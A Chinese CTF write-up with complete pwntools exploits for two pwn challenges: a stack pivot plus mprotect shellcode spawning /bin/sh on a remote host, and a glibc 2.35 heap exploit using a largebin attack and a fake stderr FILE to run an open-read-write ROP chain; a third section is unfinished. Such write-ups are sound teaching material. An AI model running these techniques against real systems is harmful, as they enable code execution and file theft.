devnull

分析

题目的libc_start_main需要glibc2.34+,所以在ubuntu21上打。

main函数溢出点很明显,读了0x2c bytes,覆盖掉rbp后可以溢出0x8 bytes。

1659259085782.png

直接考虑栈迁移。

1659259190674.png

这里我是迁移到.LOAD去了。

溢出的时候要注意覆盖buf变量和fd变量(实际的栈布局和ida分析的稍有出入,需要自己调一下看),劫持第二次read,把之后布置的rop读到.LOAD中。

这里进的是第25行的read,但是rdi此时是0,所以可以正常从stdin写数据。

由于保护全开,不好从got表leak libc,但这个题存在_mprotect函数,可以用来修改某段内存的权限。

sub_4012B6中,存在可大量利用的代码片段

1659259672300.png

由于之前打印过Thanks\n,刚好7个字符,所以在call _mprotect的时候,edx其实就是7。

不过rdi是由rax控制的,所以还需要找能控制rax的gadget。

1659259468454.png

这里将[rbp-0x18]赋值给了rax,所以只需要控制好rbp,在gadget中,让rbp-0x18处是.LOAD的起始地址就行。(这里卡了挺久,mprotect的addr参数,必须是页对齐的才行)。

然后就正常布置rop,最后写shellcode,execve(“/bin/sh\x00”, 0, 0)即可getshell。(由于关闭了stdout,所以getshell之后还需要exec 1>&2重定位一下)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# p = process('./devnull')
p = remote('123.56.45.155', 35339)
elf = ELF('./devnull')

load = 0x3fe000

leave_ret = 0x0000000000401354 # leave ; ret
mov_rax = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret

pay = cyclic(0x34) + p64(load)*2 + p64(leave_ret)
p.recvuntil('filename')
p.send(pay)

pay = p64(load+0x28) + p64(mov_rax) + p64(load)*4 + p64(0x4012d0)
pay += b'/bin/sh\x00' + p64(load+0x48)+asm(shellcraft.execve(load+0x38,0,0))

p.recvuntil('new data')

# gdb.attach(p)
sleep(1)
p.send(pay)

p.interactive()

1659260216178.png

house of cat

分析

libc-2.35的菜单堆题,保护全开,沙箱禁用了execve,并且对fd有检查。

每次循环都用sub_155Etcache_perthread_struct进行了重新赋值,防止打tcache任意分配。

1660290997606.png

分析sub_1DF3发现,需要先在sub_1A50中将sub_19D6栈上的一个变量改为1来登录,之后才能进到堆块管理的功能中。

而登录的payload其实很简单:

1
2
3
1. 包含`QWB`, `LOGIN`, `QWXF`, `admin`, `r00t`这些字段
2. 在`LOGIN`后用` | `隔开
3. `LOGIN`最先出现, 然后是`r00t`, 在`QWB`往后5位是`admin`

我最终使用的是

1
LOGIN | r00t QWB QWXFadmin

后续的菜单交互payload构造方法类似,就不作具体分析了

菜单总体如下

1660294557739.png

1660296472805.png

add功能限制了chunk的size在0x420到0x470之间,都是largebin chunks的范围。

1660296568387.png

delete直接白给uaf,肯定会从这里入手去leak和打largebin attack。

1660296652790.png

show是直接write0x30个字节,不怕\x00的截断。

1660296750135.png

mini_edit限制了修改只能修改0x30,且次数受dword_4010的限制,只能修改2次。也就是说,最多完成2次largebin attack。不过这题的洞是uaf,操作的空间还是比较大的。

leak部分没什么好说的,直接利用uaf得到heapbase和libcbase。

第一个largebin attack我打的是stderr,因为这题没有显式调用exit,也不能从main函数返回,所以没法走fsop,需要利用__malloc_assert,(参考house of kiwi的触发方法,这里就不详细介绍了)

IO利用链这里我是使用的house of apple2的方法,利用_IO_wfile_overflow。(其实也可以利用_IO_wfile_jumps_mmap_IO_wfile_jumps_maybe_mmap,不过可能需要浅浅调一下偏移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if f->_wide_data->_IO_write_base == 0
{
_IO_wdoallocbuf (f); // 进此分支
// ......
}
}
}

这里需要满足:

  1. (f->_flags & _IO_NO_WRITES) == 0
  2. (f->_flags & _IO_CURRENTLY_PUTTING) == 0
  3. (f->_wide_data->_IO_write_base == 0)

_IO_wdoallocbuf中,有

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 进此分支控制rip
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里需要满足:

  1. (fp->_wide_data->_IO_buf_base) == 0
  2. (fp->_flags & _IO_UNBUFFERED) == 0

然后就会调用(wint_t)_IO_WDOALLOCATE (fp), 即*(fp->_wide_data->_wide_vtable + 0x68)(fp)

综上,fake_stderr需要满足的条件如下:

  1. 如果不需要直接getshell,那么fp->_flags设置为0即可(满足~(0x2 | 0x8 | 0x800)
  2. fp->vtable设为_IO_wfile_jumps
  3. fp->_wide_data设置为某个可控地址A,(*(fp + 0xa0) = A
  4. fp->_wide_data->_IO_write_base设置为0,(*(A + 0x18) = 0
  5. fp->_wide_data->_IO_buf_base设置为0,(*(A + 0x30) = 0
  6. fp->_wide_data->_wide_vtable设置为可控地址B,(*(A + 0Xe0) = B
  7. fp->_wide_data->_wide_vtable->doallocate设置为想要劫持rip到的地址,(*(B + 0x68) = rip

由于还会调用__xfprintf,其中有一个_IO_flockfile的宏,还需要满足fp->_lock为一个可写地址。

触发__malloc_assert这题应该至少有两个做法,一个是再利用一次largebin attack去打&topsize+7,修改到topsize为某个堆地址的最低一字节(要保证大于0x20),还有一个就是构造heap overlap,直接修改到topsize。这里我使用的是后者,所以也节约了一次largebin attack。(所以这题应该也是可以用house of emma梭的,只是能不打TLS就别打hhh)

构造overlap的方法就是造3个与top chunk紧邻的chunk,两个0x450(A, B),另一个作为防止直接于topchunk合并的gap(C),然后free掉A和B,重新分配为一个0x440(C)和一个0x460(D),这个时候就能改到之前的chunk B的chunk size,我们修改他为0x8c1,此时利用uaf,再次free掉chunk B,这个时候topchunk就合并上来了。然后free掉chunk D,重新申请就能改到topchunk的size。

剩下的就没什么好说的了,就是要注意在open之前先close(0),让open(“flag”, 0)分配到的fd为0,通过沙箱的检查,然后直接用libc的open会被kill掉,这里可以用syscall来调用。

(exp比较难看,SigreturnFrame_wide_vtable我是直接空间复用了,因为_IO_WDOALLOCATE劫持到rip的时候,rdx刚好在那个chunk的地址,所以就凑合着用了。)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./house_of_cat')
libc = elf.libc
p = process('./house_of_cat')

sla = lambda x,y : p.sendlineafter(x, y)
sa = lambda x,y : p.sendafter(x, y)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rl = lambda :p.recvline()
ru = lambda x : p.recvuntil(x)

def choice(idx):
sa('~~~\n', 'CAT | r00t QWB QWXF$\xff')
sla('choice:', str(idx))

def add(idx, size, content='ababab'):
choice(1)
sla('idx:', str(idx))
sla('size:', str(size))
if idx!=14:
sa('content:', content)

def delete(idx):
choice(2)
sla('idx:', str(idx))

def show(idx):
choice(3)
sla('idx', str(idx))

def edit(idx, content):
choice(4)
sla('idx', str(idx))
sa('content:', content)

def getshell():
sleep(0.1)
p.interactive()

def main():
sa('~~~\n', 'LOGIN | r00t QWB QWXFadmin')
add(0, 0x420) # A
wide_data = p64(0)*4
add(15, 0x450) # gap
add(1, 0x418) # B
add(2, 0x450) # gap
delete(0)
add(3, 0x450)
show(0) # leak
ru('text:\n')
libcbase = u64(p.recv(8)) - 0x21a0d0
p.recv(8)
heapbase = u64(p.recv(8))>>12
print(hex(libcbase))
print(hex(heapbase))
stderr = libcbase + libc.symbols['stderr']
print(hex(stderr))
delete(1)
fake_stderr = p64(0)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64((heapbase<<12)) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'\x00')
fake_stderr += p64((heapbase<<12)+0x1c60) # _wide_data
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libcbase + 0x2160c0) # _IO_wfile_jumps
add(5, 0x418, fake_stderr)
delete(5)
pay = p64(libcbase+0x21a0d0)*2
pay += p64((heapbase<<12)^0x290) + p64(stderr-0x20)
edit(0, pay)
# gdb.attach(p)
add(4, 0x450) # largebin attack stderr
setcontext = libcbase + libc.symbols['setcontext']
wide_data = p64(0) * 13
wide_data += p64(0)*2 + p64(0x20) # rdx
wide_data += p64(0)*2 + p64((heapbase<<12)+0x2158) # rsp
wide_data += p64(libcbase + 0x000000000002a3e5 + 1) # rip
wide_data = wide_data.ljust(0xd0, b'\x00')
wide_data += p64((heapbase<<12)+0x20c0) # wide_vtable_address
add(6, 0x450, wide_data) # AA
wide_vtable = p64(0)
wide_vtable = wide_vtable.ljust(0x58, b'\x00')
wide_vtable += p64(setcontext+61)
close = libcbase + libc.symbols['close']
# open = libcbase + libc.symbols['open']
read = libcbase + libc.symbols['read']
write = libcbase + libc.symbols['write']
syscall_ret = libcbase + 0x0000000000091396 # syscall ; ret
pop_rax = libcbase + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libcbase + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libcbase + 0x000000000002be51 # pop rsi ; ret
rop = b'flag\x00\x00\x00\x00' + p64(0)*4
rop += p64(pop_rdi) + p64(0) + p64(close)
rop += p64(pop_rdi) + p64((heapbase<<12)+0x2130)
pay += p64(pop_rax) + p64(2) + p64(syscall_ret)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(write)
add(7, 0x450, wide_vtable + rop) # BB
add(8, 0x450)
add(9, 0x450)
add(10, 0x450) # gap
delete(8)
delete(9)
add(11, 0x440)
pay = p64(0) + p64(0x460+0x461)
add(12, 0x460, pay)
delete(9)
delete(12)
pay = p64(0) + p64(0x50) # hijack topsize
add(13, 0x460, pay)
# gdb.attach(p, 'b *__malloc_assert')
# raw_input()
add(14, 0x450) # __malloc_assert
getshell()

if __name__ == '__main__':
main()

1660485670538.png

yakagame

题目给了opt-8yaka.so

查一下opt-8的保护,可以看到差不多只开了NX,利用形式就很多了

1661828154179.png

yaka.so直接ida开始分析

1661827232637.png

首先在虚函数表中找到他重写的runOnFunction函数(一般来说runOnFunction一定在虚函数表的最后),在这题就是sub_C880这个函数,跟进去分析。

(待更新)